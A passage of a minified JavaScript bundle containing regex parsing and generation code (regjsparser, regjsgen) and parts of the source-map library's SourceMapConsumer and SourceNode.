o(e.type,"dot"),"."}function g(e){o(e.type,"group");var t="(";switch(e.behavior){case"normal":break;case"ignore":t+="?:";break;case"lookahead":t+="?=";break;case"negativeLookahead":t+="?!";break;default:throw Error("Invalid behaviour: "+e.behaviour)}var r=e.body,n=r?r.length:0;if(1==n)t+=u(r[0]);else for(var i=-1;++i<n;)t+=u(r[i]);return t+=")"}function b(e){o(e.type,"quantifier");var t="",r=e.min,n=e.max;switch(n){case void 0:case null:switch(r){case 0:t="*";break;case 1:t="+";break;default:t="{"+r+",}"}break;default:t=r==n?"{"+r+"}":0==r&&1==n?"?":"{"+r+","+n+"}"}return e.greedy||(t+="?"),f(e.body[0])+t}function E(e){return o(e.type,"reference"),"\\"+e.matchIndex}function x(e){return o(e.type,"anchor|characterClass|characterClassEscape|empty|group|quantifier|reference|value"),u(e)}function A(e){o(e.type,"value");var t=e.kind,r=e.codePoint;switch(t){case"controlLetter":return"\\c"+a(r+64);case"hexadecimalEscape":return"\\x"+("00"+r.toString(16).toUpperCase()).slice(-2);case"identifier":return"\\"+a(r);case"null":return"\\"+r;case"octal":return"\\"+r.toString(8);case"singleEscape":switch(r){case 8:return"\\b";case 9:return"\\t";case 10:return"\\n";case 11:return"\\v";case 12:return"\\f";case 13:return"\\r";default:throw Error("Invalid codepoint: "+r)}case"symbol":return a(r);case"unicodeEscape":return"\\u"+("0000"+r.toString(16).toUpperCase()).slice(-4);case"unicodeCodePointEscape":return"\\u{"+r.toString(16).toUpperCase()+"}";default:throw Error("Unsupported node kind: "+t)}}var S={function:!0,object:!0},_=S["undefined"==typeof window?"undefined":s(window)]&&window||this,D=S[s(t)]&&t,C=S[s(e)]&&e&&!e.nodeType&&e,w=D&&C&&"object"==(void 0===i?"undefined":s(i))&&i;!w||w.global!==w&&w.window!==w&&w.self!==w||(_=w);var P=String.fromCharCode,k=Math.floor;u.alternative=l,u.anchor=c,u.characterClass=p,u.characterClassEscape=d,u.characterClassRange=h,u.disjunction=y,u.dot=v,u.group=g,u.quantifier=b,u.reference=E,u.value=A,"object"==s(r(49))&&r(49)?void 0!==(n=function(){return{generate:u}}.call(t,r,t,e))&&(e.exports=n):D&&C?D.generate=u:_.regjsgen={generate:u}}).call(void 0)}).call(t,r(39)(e),function(){return this}())},function(e,t){"use strict";!function(){function t(e,t){function r(t){return t.raw=e.substring(t.range[0],t.range[1]),t}function n(e,t){return e.range[0]=t,r(e)}function i(e,t){return r({type:"anchor",kind:e,range:[$-t,$]})}function s(e,t,n,i){return r({type:"value",kind:e,codePoint:t,range:[n,i]})}function a(e,t,r,n){return n=n||0,s(e,t,$-(r.length+n),$)}function o(e){var t=e[0],r=t.charCodeAt(0);if(z){var n;if(1===t.length&&r>=55296&&r<=56319&&(n=x().charCodeAt(0))>=56320&&n<=57343)return $++,s("symbol",1024*(r-55296)+n-56320+65536,$-2,$)}return s("symbol",r,$-1,$)}function u(e,t,n){return r({type:"disjunction",body:e,range:[t,n]})}function l(){return r({type:"dot",range:[$-1,$]})}function c(e){return r({type:"characterClassEscape",value:e,range:[$-2,$]})}function f(e){return r({type:"reference",matchIndex:parseInt(e,10),range:[$-1-e.length,$]})}function p(e,t,n,i){return r({type:"group",behavior:e,body:t,range:[n,i]})}function d(e,t,n,i){return null==i&&(n=$-1,i=$),r({type:"quantifier",min:e,max:t,greedy:!0,body:null,range:[n,i]})}function h(e,t,n){return r({type:"alternative",body:e,range:[t,n]})}function m(e,t,n,i){return r({type:"characterClass",body:e,negative:t,range:[n,i]})}function y(e,t,n,i){return e.codePoint>t.codePoint&&K("invalid range in character class",e.raw+"-"+t.raw,n,i),r({type:"characterClassRange",min:e,max:t,range:[n,i]})}function v(e){return"alternative"===e.type?e.body:[e]}function g(t){t=t||1;var r=e.substring($,$+t);return $+=t||1,r}function b(e){E(e)||K("character",e)}function E(t){if(e.indexOf(t,$)===$)return g(t.length)}function x(){return e[$]}function A(t){return e.indexOf(t,$)===$}function S(t){return e[$+1]===t}function _(t){var r=e.substring($),n=r.match(t);return n&&(n.range=[],n.range[0]=$,g(n[0].length),n.range[1]=$),n}function D(){var e=[],t=$;for(e.push(C());E("|");)e.push(C());return 1===e.length?e[0]:u(e,t,$)}function C(){for(var e,t=[],r=$;e=w();)t.push(e);return 1===t.length?t[0]:h(t,r,$)}function w(){if($>=e.length||A("|")||A(")"))return null;var t=k();if(t)return t;var r=T();r||K("Expected atom");var i=F()||!1;return i?(i.body=v(r),n(i,r.range[0]),i):r}function P(e,t,r,n){var i=null,s=$;if(E(e))i=t;else{if(!E(r))return!1;i=n}var a=D();a||K("Expected disjunction"),b(")");var o=p(i,v(a),s,$);return"normal"==i&&X&&J++,o}function k(){return E("^")?i("start",1):E("$")?i("end",1):E("\\b")?i("boundary",2):E("\\B")?i("not-boundary",2):P("(?=","lookahead","(?!","negativeLookahead")}function F(){var e,t,r,n,i=$;return E("*")?t=d(0):E("+")?t=d(1):E("?")?t=d(0,1):(e=_(/^\{([0-9]+)\}/))?(r=parseInt(e[1],10),t=d(r,r,e.range[0],e.range[1])):(e=_(/^\{([0-9]+),\}/))?(r=parseInt(e[1],10),t=d(r,void 0,e.range[0],e.range[1])):(e=_(/^\{([0-9]+),([0-9]+)\}/))&&(r=parseInt(e[1],10),n=parseInt(e[2],10),r>n&&K("numbers out of order in {} quantifier","",i,$),t=d(r,n,e.range[0],e.range[1])),t&&E("?")&&(t.greedy=!1,t.range[1]+=1),t}function T(){var e;return(e=_(/^[^^$\\.*+?(){[|]/))?o(e):E(".")?l():E("\\")?(e=R(),e||K("atomEscape"),e):(e=j())?e:P("(?:","ignore","(","normal")}function O(e){if(z){var t,n;if("unicodeEscape"==e.kind&&(t=e.codePoint)>=55296&&t<=56319&&A("\\")&&S("u")){var i=$;$++;var s=B();"unicodeEscape"==s.kind&&(n=s.codePoint)>=56320&&n<=57343?(e.range[1]=s.range[1],e.codePoint=1024*(t-55296)+n-56320+65536,e.type="value",e.kind="unicodeCodePointEscape",r(e)):$=i}}return e}function B(){return R(!0)}function R(e){var t,r=$;if(t=I())return t;if(e){if(E("b"))return a("singleEscape",8,"\\b");E("B")&&K("\\B not possible inside of CharacterClass","",r)}return t=M()}function I(){var e,t;if(e=_(/^(?!0)\d+/)){t=e[0];var r=parseInt(e[0],10);return r<=J?f(e[0]):(H.push(r),g(-e[0].length),(e=_(/^[0-7]{1,3}/))?a("octal",parseInt(e[0],8),e[0],1):(e=o(_(/^[89]/)),n(e,e.range[0]-1)))}return(e=_(/^[0-7]{1,3}/))?(t=e[0],/^0{1,3}$/.test(t)?a("null",0,"0",t.length+1):a("octal",parseInt(t,8),t,1)):!!(e=_(/^[dDsSwW]/))&&c(e[0])}function M(){var e;if(e=_(/^[fnrtv]/)){var t=0;switch(e[0]){case"t":t=9;break;case"n":t=10;break;case"v":t=11;break;case"f":t=12;break;case"r":t=13}return a("singleEscape",t,"\\"+e[0])}return(e=_(/^c([a-zA-Z])/))?a("controlLetter",e[1].charCodeAt(0)%32,e[1],2):(e=_(/^x([0-9a-fA-F]{2})/))?a("hexadecimalEscape",parseInt(e[1],16),e[1],2):(e=_(/^u([0-9a-fA-F]{4})/))?O(a("unicodeEscape",parseInt(e[1],16),e[1],2)):z&&(e=_(/^u\{([0-9a-fA-F]+)\}/))?a("unicodeCodePointEscape",parseInt(e[1],16),e[1],4):L()}function N(e){var t=new RegExp("[ªµºÀ-ÖØ-öø-ˁˆ-ˑˠ-ˤˬˮ̀-ʹͶͷͺ-ͽͿΆΈ-ΊΌΎ-ΡΣ-ϵϷ-ҁ҃-҇Ҋ-ԯԱ-Ֆՙա-և֑-ׇֽֿׁׂׅׄא-תװ-ײؐ-ؚؠ-٩ٮ-ۓە-ۜ۟-۪ۨ-ۼۿܐ-݊ݍ-ޱ߀-ߵߺࠀ-࠭ࡀ-࡛ࢠ-ࢲࣤ-ॣ०-९ॱ-ঃঅ-ঌএঐও-নপ-রলশ-হ়-ৄেৈো-ৎৗড়ঢ়য়-ৣ০-ৱਁ-ਃਅ-ਊਏਐਓ-ਨਪ-ਰਲਲ਼ਵਸ਼ਸਹ਼ਾ-ੂੇੈੋ-੍ੑਖ਼-ੜਫ਼੦-ੵઁ-ઃઅ-ઍએ-ઑઓ-નપ-રલળવ-હ઼-ૅે-ૉો-્ૐૠ-ૣ૦-૯ଁ-ଃଅ-ଌଏଐଓ-ନପ-ରଲଳଵ-ହ଼-ୄେୈୋ-୍ୖୗଡ଼ଢ଼ୟ-ୣ୦-୯ୱஂஃஅ-ஊஎ-ஐஒ-கஙசஜஞடணதந-பம-ஹா-ூெ-ைொ-்ௐௗ௦-௯ఀ-ఃఅ-ఌఎ-ఐఒ-నప-హఽ-ౄె-ైొ-్ౕౖౘౙౠ-ౣ౦-౯ಁ-ಃಅ-ಌಎ-ಐಒ-ನಪ-ಳವ-ಹ಼-ೄೆ-ೈೊ-್ೕೖೞೠ-ೣ೦-೯ೱೲഁ-ഃഅ-ഌഎ-ഐഒ-ഺഽ-ൄെ-ൈൊ-ൎൗൠ-ൣ൦-൯ൺ-ൿංඃඅ-ඖක-නඳ-රලව-ෆ්ා-ුූෘ-ෟ෦-෯ෲෳก-ฺเ-๎๐-๙ກຂຄງຈຊຍດ-ທນ-ຟມ-ຣລວສຫອ-ູົ-ຽເ-ໄໆ່-ໍ໐-໙ໜ-ໟༀ༘༙༠-༩༹༵༷༾-ཇཉ-ཬཱ-྄྆-ྗྙ-ྼ࿆က-၉ၐ-ႝႠ-ჅჇჍა-ჺჼ-ቈቊ-ቍቐ-ቖቘቚ-ቝበ-ኈኊ-ኍነ-ኰኲ-ኵኸ-ኾዀዂ-ዅወ-ዖዘ-ጐጒ-ጕጘ-ፚ፝-፟ᎀ-ᎏᎠ-Ᏼᐁ-ᙬᙯ-ᙿᚁ-ᚚᚠ-ᛪᛮ-ᛸᜀ-ᜌᜎ-᜔ᜠ-᜴ᝀ-ᝓᝠ-ᝬᝮ-ᝰᝲᝳក-៓ៗៜ៝០-៩᠋-᠍᠐-᠙ᠠ-ᡷᢀ-ᢪᢰ-ᣵᤀ-ᤞᤠ-ᤫᤰ-᤻᥆-ᥭᥰ-ᥴᦀ-ᦫᦰ-ᧉ᧐-᧙ᨀ-ᨛᨠ-ᩞ᩠-᩿᩼-᪉᪐-᪙ᪧ᪰-᪽ᬀ-ᭋ᭐-᭙᭫-᭳ᮀ-᯳ᰀ-᰷᱀-᱉ᱍ-ᱽ᳐-᳔᳒-ᳶ᳸᳹ᴀ-᷵᷼-ἕἘ-Ἕἠ-ὅὈ-Ὅὐ-ὗὙὛὝὟ-ώᾀ-ᾴᾶ-ᾼιῂ-ῄῆ-ῌῐ-ΐῖ-Ίῠ-Ῥῲ-ῴῶ-ῼ‌‍‿⁀⁔ⁱⁿₐ-ₜ⃐-⃥⃜⃡-⃰ℂℇℊ-ℓℕℙ-ℝℤΩℨK-ℭℯ-ℹℼ-ℿⅅ-ⅉⅎⅠ-ↈⰀ-Ⱞⰰ-ⱞⱠ-ⳤⳫ-ⳳⴀ-ⴥⴧⴭⴰ-ⵧⵯ⵿-ⶖⶠ-ⶦⶨ-ⶮⶰ-ⶶⶸ-ⶾⷀ-ⷆⷈ-ⷎⷐ-ⷖⷘ-ⷞⷠ-ⷿⸯ々-〇〡-〯〱-〵〸-〼ぁ-ゖ゙゚ゝ-ゟァ-ヺー-ヿㄅ-ㄭㄱ-ㆎㆠ-ㆺㇰ-ㇿ㐀-䶵一-鿌ꀀ-ꒌꓐ-ꓽꔀ-ꘌꘐ-ꘫꙀ-꙯ꙴ-꙽ꙿ-ꚝꚟ-꛱ꜗ-ꜟꜢ-ꞈꞋ-ꞎꞐ-ꞭꞰꞱꟷ-ꠧꡀ-ꡳꢀ-꣄꣐-꣙꣠-ꣷꣻ꤀-꤭ꤰ-꥓ꥠ-ꥼꦀ-꧀ꧏ-꧙ꧠ-ꧾꨀ-ꨶꩀ-ꩍ꩐-꩙ꩠ-ꩶꩺ-ꫂꫛ-ꫝꫠ-ꫯꫲ-꫶ꬁ-ꬆꬉ-ꬎꬑ-ꬖꬠ-ꬦꬨ-ꬮꬰ-ꭚꭜ-ꭟꭤꭥꯀ-ꯪ꯬꯭꯰-꯹가-힣ힰ-ퟆퟋ-ퟻ豈-舘並-龎ff-stﬓ-ﬗיִ-ﬨשׁ-זּטּ-לּמּנּסּףּפּצּ-ﮱﯓ-ﴽﵐ-ﶏﶒ-ﷇﷰ-ﷻ︀-️︠-︭︳︴﹍-﹏ﹰ-ﹴﹶ-ﻼ0-9A-Z_a-zヲ-하-ᅦᅧ-ᅬᅭ-ᅲᅳ-ᅵ]");return 36===e||95===e||e>=65&&e<=90||e>=97&&e<=122||e>=48&&e<=57||92===e||e>=128&&t.test(String.fromCharCode(e))}function L(){var e;return N(x())?E("‌")?a("identifier",8204,"‌"):E("‍")?a("identifier",8205,"‍"):null:(e=g(),a("identifier",e.charCodeAt(0),e,1))}function j(){var e,t=$;return(e=_(/^\[\^/))?(e=U(),b("]"),m(e,!0,t,$)):E("[")?(e=U(),b("]"),m(e,!1,t,$)):null}function U(){var e;return A("]")?[]:(e=G(),e||K("nonEmptyClassRanges"),e)}function V(e){var t,r,n;if(A("-")&&!S("]")){b("-"),n=Y(),n||K("classAtom"),r=$;var i=U();return i||K("classRanges"),t=e.range[0],"empty"===i.type?[y(e,n,t,r)]:[y(e,n,t,r)].concat(i)}return n=W(),n||K("nonEmptyClassRangesNoDash"),[e].concat(n)}function G(){var e=Y();return e||K("classAtom"),A("]")?[e]:V(e)}function W(){var e=Y();return e||K("classAtom"),A("]")?e:V(e)}function Y(){return E("-")?o("-"):q()}function q(){var e;return(e=_(/^[^\\\]-]/))?o(e[0]):E("\\")?(e=B(),e||K("classEscape"),O(e)):void 0}function K(t,r,n,i){n=null==n?$:n,i=null==i?n:i;var s=Math.max(0,n-10),a=Math.min(i+10,e.length),o="    "+e.substring(s,a),u="    "+new Array(n-s+1).join(" ")+"^";throw SyntaxError(t+" at position "+n+(r?": "+r:"")+"\n"+o+"\n"+u)}var H=[],J=0,X=!0,z=-1!==(t||"").indexOf("u"),$=0;""===(e=String(e))&&(e="(?:)");var Q=D();Q.range[1]!==e.length&&K("Could not parse entire input - got stuck","",Q.range[1]);for(var Z=0;Z<H.length;Z++)if(H[Z]<=J)return $=0,X=!1,D();return Q}var r={parse:t};void 0!==e&&e.exports?e.exports=r:window.regjsparser=r}()},function(e,t,r){"use strict";var n=r(467);e.exports=function(e,t){if("string"!=typeof e)throw new TypeError("Expected `input` to be a string");if(t<0||!n(t))throw new TypeError("Expected `count` to be a positive finite number");var r="";do{1&t&&(r+=e),e+=e}while(t>>=1);return r}},function(e,t){"use strict";var r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split("");t.encode=function(e){if(0<=e&&e<r.length)return r[e];throw new TypeError("Must be between 0 and 63: "+e)},t.decode=function(e){return 65<=e&&e<=90?e-65:97<=e&&e<=122?e-97+26:48<=e&&e<=57?e-48+52:43==e?62:47==e?63:-1}},function(e,t){"use strict";function r(e,n,i,s,a,o){var u=Math.floor((n-e)/2)+e,l=a(i,s[u],!0);return 0===l?u:l>0?n-u>1?r(u,n,i,s,a,o):o==t.LEAST_UPPER_BOUND?n<s.length?n:-1:u:u-e>1?r(e,u,i,s,a,o):o==t.LEAST_UPPER_BOUND?u:e<0?-1:e}t.GREATEST_LOWER_BOUND=1,t.LEAST_UPPER_BOUND=2,t.search=function(e,n,i,s){if(0===n.length)return-1;var a=r(-1,n.length,e,n,i,s||t.GREATEST_LOWER_BOUND);if(a<0)return-1;for(;a-1>=0&&0===i(n[a],n[a-1],!0);)--a;return a}},function(e,t,r){"use strict";function n(e,t){var r=e.generatedLine,n=t.generatedLine,i=e.generatedColumn,a=t.generatedColumn;return n>r||n==r&&a>=i||s.compareByGeneratedPositionsInflated(e,t)<=0}function i(){this._array=[],this._sorted=!0,this._last={generatedLine:-1,generatedColumn:0}}var s=r(63);i.prototype.unsortedForEach=function(e,t){this._array.forEach(e,t)},i.prototype.add=function(e){n(this._last,e)?(this._last=e,this._array.push(e)):(this._sorted=!1,this._array.push(e))},i.prototype.toArray=function(){return this._sorted||(this._array.sort(s.compareByGeneratedPositionsInflated),this._sorted=!0),this._array},t.MappingList=i},function(e,t){"use strict";function r(e,t,r){var n=e[t];e[t]=e[r],e[r]=n}function n(e,t){return Math.round(e+Math.random()*(t-e))}function i(e,t,s,a){if(s<a){var o=n(s,a),u=s-1;r(e,o,a);for(var l=e[a],c=s;c<a;c++)t(e[c],l)<=0&&(u+=1,r(e,u,c));r(e,u+1,c);var f=u+1;i(e,t,s,f-1),i(e,t,f+1,a)}}t.quickSort=function(e,t){i(e,t,0,e.length-1)}},function(e,t,r){"use strict";function n(e){var t=e;return"string"==typeof e&&(t=JSON.parse(e.replace(/^\)\]\}'/,""))),null!=t.sections?new a(t):new i(t)}function i(e){var t=e;"string"==typeof e&&(t=JSON.parse(e.replace(/^\)\]\}'/,"")));var r=o.getArg(t,"version"),n=o.getArg(t,"sources"),i=o.getArg(t,"names",[]),s=o.getArg(t,"sourceRoot",null),a=o.getArg(t,"sourcesContent",null),u=o.getArg(t,"mappings"),c=o.getArg(t,"file",null);if(r!=this._version)throw new Error("Unsupported version: "+r);n=n.map(String).map(o.normalize).map(function(e){return s&&o.isAbsolute(s)&&o.isAbsolute(e)?o.relative(s,e):e}),this._names=l.fromArray(i.map(String),!0),this._sources=l.fromArray(n,!0),this.sourceRoot=s,this.sourcesContent=a,this._mappings=u,this.file=c}function s(){this.generatedLine=0,this.generatedColumn=0,this.source=null,this.originalLine=null,this.originalColumn=null,this.name=null}function a(e){var t=e;"string"==typeof e&&(t=JSON.parse(e.replace(/^\)\]\}'/,"")));var r=o.getArg(t,"version"),i=o.getArg(t,"sections");if(r!=this._version)throw new Error("Unsupported version: "+r);this._sources=new l,this._names=new l;var s={line:-1,column:0};this._sections=i.map(function(e){if(e.url)throw new Error("Support for url field in sections not implemented.");var t=o.getArg(e,"offset"),r=o.getArg(t,"line"),i=o.getArg(t,"column");if(r<s.line||r===s.line&&i<s.column)throw new Error("Section offsets must be ordered and non-overlapping.");return s=t,{generatedOffset:{generatedLine:r+1,generatedColumn:i+1},consumer:new n(o.getArg(e,"map"))}})}var o=r(63),u=r(617),l=r(285).ArraySet,c=r(286),f=r(619).quickSort;n.fromSourceMap=function(e){return i.fromSourceMap(e)},n.prototype._version=3,n.prototype.__generatedMappings=null,Object.defineProperty(n.prototype,"_generatedMappings",{get:function(){return this.__generatedMappings||this._parseMappings(this._mappings,this.sourceRoot),this.__generatedMappings}}),n.prototype.__originalMappings=null,Object.defineProperty(n.prototype,"_originalMappings",{get:function(){return this.__originalMappings||this._parseMappings(this._mappings,this.sourceRoot),this.__originalMappings}}),n.prototype._charIsMappingSeparator=function(e,t){var r=e.charAt(t);return";"===r||","===r},n.prototype._parseMappings=function(e,t){throw new Error("Subclasses must implement _parseMappings")},n.GENERATED_ORDER=1,n.ORIGINAL_ORDER=2,n.GREATEST_LOWER_BOUND=1,n.LEAST_UPPER_BOUND=2,n.prototype.eachMapping=function(e,t,r){var i,s=t||null,a=r||n.GENERATED_ORDER;switch(a){case n.GENERATED_ORDER:i=this._generatedMappings;break;case n.ORIGINAL_ORDER:i=this._originalMappings;break;default:throw new Error("Unknown order of iteration.")}var u=this.sourceRoot;i.map(function(e){var t=null===e.source?null:this._sources.at(e.source);return null!=t&&null!=u&&(t=o.join(u,t)),{source:t,generatedLine:e.generatedLine,generatedColumn:e.generatedColumn,originalLine:e.originalLine,originalColumn:e.originalColumn,name:null===e.name?null:this._names.at(e.name)}},this).forEach(e,s)},n.prototype.allGeneratedPositionsFor=function(e){var t=o.getArg(e,"line"),r={source:o.getArg(e,"source"),originalLine:t,originalColumn:o.getArg(e,"column",0)};if(null!=this.sourceRoot&&(r.source=o.relative(this.sourceRoot,r.source)),!this._sources.has(r.source))return[];r.source=this._sources.indexOf(r.source);var n=[],i=this._findMapping(r,this._originalMappings,"originalLine","originalColumn",o.compareByOriginalPositions,u.LEAST_UPPER_BOUND);if(i>=0){var s=this._originalMappings[i];if(void 0===e.column)for(var a=s.originalLine;s&&s.originalLine===a;)n.push({line:o.getArg(s,"generatedLine",null),column:o.getArg(s,"generatedColumn",null),lastColumn:o.getArg(s,"lastGeneratedColumn",null)}),s=this._originalMappings[++i];else for(var l=s.originalColumn;s&&s.originalLine===t&&s.originalColumn==l;)n.push({line:o.getArg(s,"generatedLine",null),column:o.getArg(s,"generatedColumn",null),lastColumn:o.getArg(s,"lastGeneratedColumn",null)}),s=this._originalMappings[++i]}return n},t.SourceMapConsumer=n,i.prototype=Object.create(n.prototype),i.prototype.consumer=n,i.fromSourceMap=function(e){var t=Object.create(i.prototype),r=t._names=l.fromArray(e._names.toArray(),!0),n=t._sources=l.fromArray(e._sources.toArray(),!0);t.sourceRoot=e._sourceRoot,t.sourcesContent=e._generateSourcesContent(t._sources.toArray(),t.sourceRoot),t.file=e._file;for(var a=e._mappings.toArray().slice(),u=t.__generatedMappings=[],c=t.__originalMappings=[],p=0,d=a.length;p<d;p++){var h=a[p],m=new s;m.generatedLine=h.generatedLine,m.generatedColumn=h.generatedColumn,h.source&&(m.source=n.indexOf(h.source),m.originalLine=h.originalLine,m.originalColumn=h.originalColumn,h.name&&(m.name=r.indexOf(h.name)),c.push(m)),u.push(m)}return f(t.__originalMappings,o.compareByOriginalPositions),t},i.prototype._version=3,Object.defineProperty(i.prototype,"sources",{get:function(){return this._sources.toArray().map(function(e){return null!=this.sourceRoot?o.join(this.sourceRoot,e):e},this)}}),i.prototype._parseMappings=function(e,t){for(var r,n,i,a,u,l=1,p=0,d=0,h=0,m=0,y=0,v=e.length,g=0,b={},E={},x=[],A=[];g<v;)if(";"===e.charAt(g))l++,g++,p=0;else if(","===e.charAt(g))g++;else{for(r=new s,r.generatedLine=l,a=g;a<v&&!this._charIsMappingSeparator(e,a);a++);if(n=e.slice(g,a),i=b[n])g+=n.length;else{for(i=[];g<a;)c.decode(e,g,E),u=E.value,g=E.rest,i.push(u);if(2===i.length)throw new Error("Found a source, but no line and column");if(3===i.length)throw new Error("Found a source and line, but no column");b[n]=i}r.generatedColumn=p+i[0],p=r.generatedColumn,i.length>1&&(r.source=m+i[1],m+=i[1],r.originalLine=d+i[2],d=r.originalLine,r.originalLine+=1,r.originalColumn=h+i[3],h=r.originalColumn,i.length>4&&(r.name=y+i[4],y+=i[4])),A.push(r),"number"==typeof r.originalLine&&x.push(r)}f(A,o.compareByGeneratedPositionsDeflated),this.__generatedMappings=A,f(x,o.compareByOriginalPositions),this.__originalMappings=x},i.prototype._findMapping=function(e,t,r,n,i,s){if(e[r]<=0)throw new TypeError("Line must be greater than or equal to 1, got "+e[r]);if(e[n]<0)throw new TypeError("Column must be greater than or equal to 0, got "+e[n]);return u.search(e,t,i,s)},i.prototype.computeColumnSpans=function(){for(var e=0;e<this._generatedMappings.length;++e){var t=this._generatedMappings[e];if(e+1<this._generatedMappings.length){var r=this._generatedMappings[e+1];if(t.generatedLine===r.generatedLine){t.lastGeneratedColumn=r.generatedColumn-1;continue}}t.lastGeneratedColumn=1/0}},i.prototype.originalPositionFor=function(e){var t={generatedLine:o.getArg(e,"line"),generatedColumn:o.getArg(e,"column")},r=this._findMapping(t,this._generatedMappings,"generatedLine","generatedColumn",o.compareByGeneratedPositionsDeflated,o.getArg(e,"bias",n.GREATEST_LOWER_BOUND));if(r>=0){var i=this._generatedMappings[r];if(i.generatedLine===t.generatedLine){var s=o.getArg(i,"source",null);null!==s&&(s=this._sources.at(s),null!=this.sourceRoot&&(s=o.join(this.sourceRoot,s)));var a=o.getArg(i,"name",null);return null!==a&&(a=this._names.at(a)),{source:s,line:o.getArg(i,"originalLine",null),column:o.getArg(i,"originalColumn",null),name:a}}}return{source:null,line:null,column:null,name:null}},i.prototype.hasContentsOfAllSources=function(){return!!this.sourcesContent&&(this.sourcesContent.length>=this._sources.size()&&!this.sourcesContent.some(function(e){return null==e}))},i.prototype.sourceContentFor=function(e,t){if(!this.sourcesContent)return null;if(null!=this.sourceRoot&&(e=o.relative(this.sourceRoot,e)),this._sources.has(e))return this.sourcesContent[this._sources.indexOf(e)];var r;if(null!=this.sourceRoot&&(r=o.urlParse(this.sourceRoot))){var n=e.replace(/^file:\/\//,"");if("file"==r.scheme&&this._sources.has(n))return this.sourcesContent[this._sources.indexOf(n)];if((!r.path||"/"==r.path)&&this._sources.has("/"+e))return this.sourcesContent[this._sources.indexOf("/"+e)]}if(t)return null;throw new Error('"'+e+'" is not in the SourceMap.')},i.prototype.generatedPositionFor=function(e){var t=o.getArg(e,"source");if(null!=this.sourceRoot&&(t=o.relative(this.sourceRoot,t)),!this._sources.has(t))return{line:null,column:null,lastColumn:null};t=this._sources.indexOf(t);var r={source:t,originalLine:o.getArg(e,"line"),originalColumn:o.getArg(e,"column")},i=this._findMapping(r,this._originalMappings,"originalLine","originalColumn",o.compareByOriginalPositions,o.getArg(e,"bias",n.GREATEST_LOWER_BOUND));if(i>=0){var s=this._originalMappings[i];if(s.source===r.source)return{line:o.getArg(s,"generatedLine",null),column:o.getArg(s,"generatedColumn",null),lastColumn:o.getArg(s,"lastGeneratedColumn",null)}}return{line:null,column:null,lastColumn:null}},t.BasicSourceMapConsumer=i,a.prototype=Object.create(n.prototype),a.prototype.constructor=n,a.prototype._version=3,Object.defineProperty(a.prototype,"sources",{get:function(){for(var e=[],t=0;t<this._sections.length;t++)for(var r=0;r<this._sections[t].consumer.sources.length;r++)e.push(this._sections[t].consumer.sources[r]);return e}}),a.prototype.originalPositionFor=function(e){var t={generatedLine:o.getArg(e,"line"),generatedColumn:o.getArg(e,"column")},r=u.search(t,this._sections,function(e,t){var r=e.generatedLine-t.generatedOffset.generatedLine;return r||e.generatedColumn-t.generatedOffset.generatedColumn}),n=this._sections[r];return n?n.consumer.originalPositionFor({line:t.generatedLine-(n.generatedOffset.generatedLine-1),column:t.generatedColumn-(n.generatedOffset.generatedLine===t.generatedLine?n.generatedOffset.generatedColumn-1:0),bias:e.bias}):{source:null,line:null,column:null,name:null}},a.prototype.hasContentsOfAllSources=function(){return this._sections.every(function(e){return e.consumer.hasContentsOfAllSources()})},a.prototype.sourceContentFor=function(e,t){for(var r=0;r<this._sections.length;r++){var n=this._sections[r],i=n.consumer.sourceContentFor(e,!0);if(i)return i}if(t)return null;throw new Error('"'+e+'" is not in the SourceMap.')},a.prototype.generatedPositionFor=function(e){for(var t=0;t<this._sections.length;t++){var r=this._sections[t];if(-1!==r.consumer.sources.indexOf(o.getArg(e,"source"))){var n=r.consumer.generatedPositionFor(e);if(n){return{line:n.line+(r.generatedOffset.generatedLine-1),column:n.column+(r.generatedOffset.generatedLine===n.line?r.generatedOffset.generatedColumn-1:0)}}}}return{line:null,column:null}},a.prototype._parseMappings=function(e,t){this.__generatedMappings=[],this.__originalMappings=[];for(var r=0;r<this._sections.length;r++)for(var n=this._sections[r],i=n.consumer._generatedMappings,s=0;s<i.length;s++){var a=i[s],u=n.consumer._sources.at(a.source);null!==n.consumer.sourceRoot&&(u=o.join(n.consumer.sourceRoot,u)),this._sources.add(u),u=this._sources.indexOf(u);var l=n.consumer._names.at(a.name);this._names.add(l),l=this._names.indexOf(l);var c={source:u,generatedLine:a.generatedLine+(n.generatedOffset.generatedLine-1),generatedColumn:a.generatedColumn+(n.generatedOffset.generatedLine===a.generatedLine?n.generatedOffset.generatedColumn-1:0),originalLine:a.originalLine,originalColumn:a.originalColumn,name:l};this.__generatedMappings.push(c),"number"==typeof c.originalLine&&this.__originalMappings.push(c)}f(this.__generatedMappings,o.compareByGeneratedPositionsDeflated),f(this.__originalMappings,o.compareByOriginalPositions)},t.IndexedSourceMapConsumer=a},function(e,t,r){"use strict";function n(e,t,r,n,i){this.children=[],this.sourceContents={},this.line=null==e?null:e,this.column=null==t?null:t,this.source=null==r?null:r,this.name=null==i?null:i,this[o]=!0,null!=n&&this.add(n)}var i=r(287).SourceMapGenerator,s=r(63),a=/(\r?\n)/,o="$$$isSourceNode$$$";n.fromStringWithSourceMap=function(e,t,r){function i(e,t){if(null===e||void 0===e.source)o.add(t);else{var i=r?s.join(r,e.source):e.source;o.add(new n(e.originalLine,e.originalColumn,i,t,e.name))}}var o=new n,u=e.split(a),l=function(){return u.shift()+(u.shift()||"")},c=1,f=0,p=null;return t.eachMapping(function(e){if(null!==p){if(!(c<e.generatedLine)){var t=u[0],r=t.substr(0,e.generatedColumn-f);return u[0]=t.substr(e.generatedColumn-f),f=e.generatedColumn,i(p,r),void(p=e)}i(p,l()),c++,f=0}for(;c<e.generatedLine;)o.add(l()),c++;if(f<e.generatedColumn){var t=u[0];o.add(t.substr(0,e.generatedColumn)),u[0]=t.substr(e.generatedColumn),f=e.generatedColumn}p=e},this),u.length>0&&(p&&i(p,l()),o.add(u.join(""))),t.sources.forEach(function(e){var n=t.sourceContentFor(e);null!=n&&(null!=r&&(e=s.join(r,e)),o.setSourceContent(e,n))}),o},n.prototype.add=function(e){if(Array.isArray(e))e.forEach(function(e){this.add(e)},this);else{if(!e[o]&&"string"!=typeof e)throw new TypeError("Expected a SourceNode, string, or an array of SourceNodes and strings. Got "+e);e&&this.children.push(e)}return this},n.prototype.prepend=function(e){if(Array.isArray(e))for(var t=e.length-1;t>=0;t--)this.prepend(e[t]);else{if(!e[o]&&"string"!=typeof e)throw new TypeError("Expected a SourceNode, string, or an array of SourceNodes and strings. Got "+e);this.children.unshift(e)}return this},n.prototype.walk=function(e){for(var 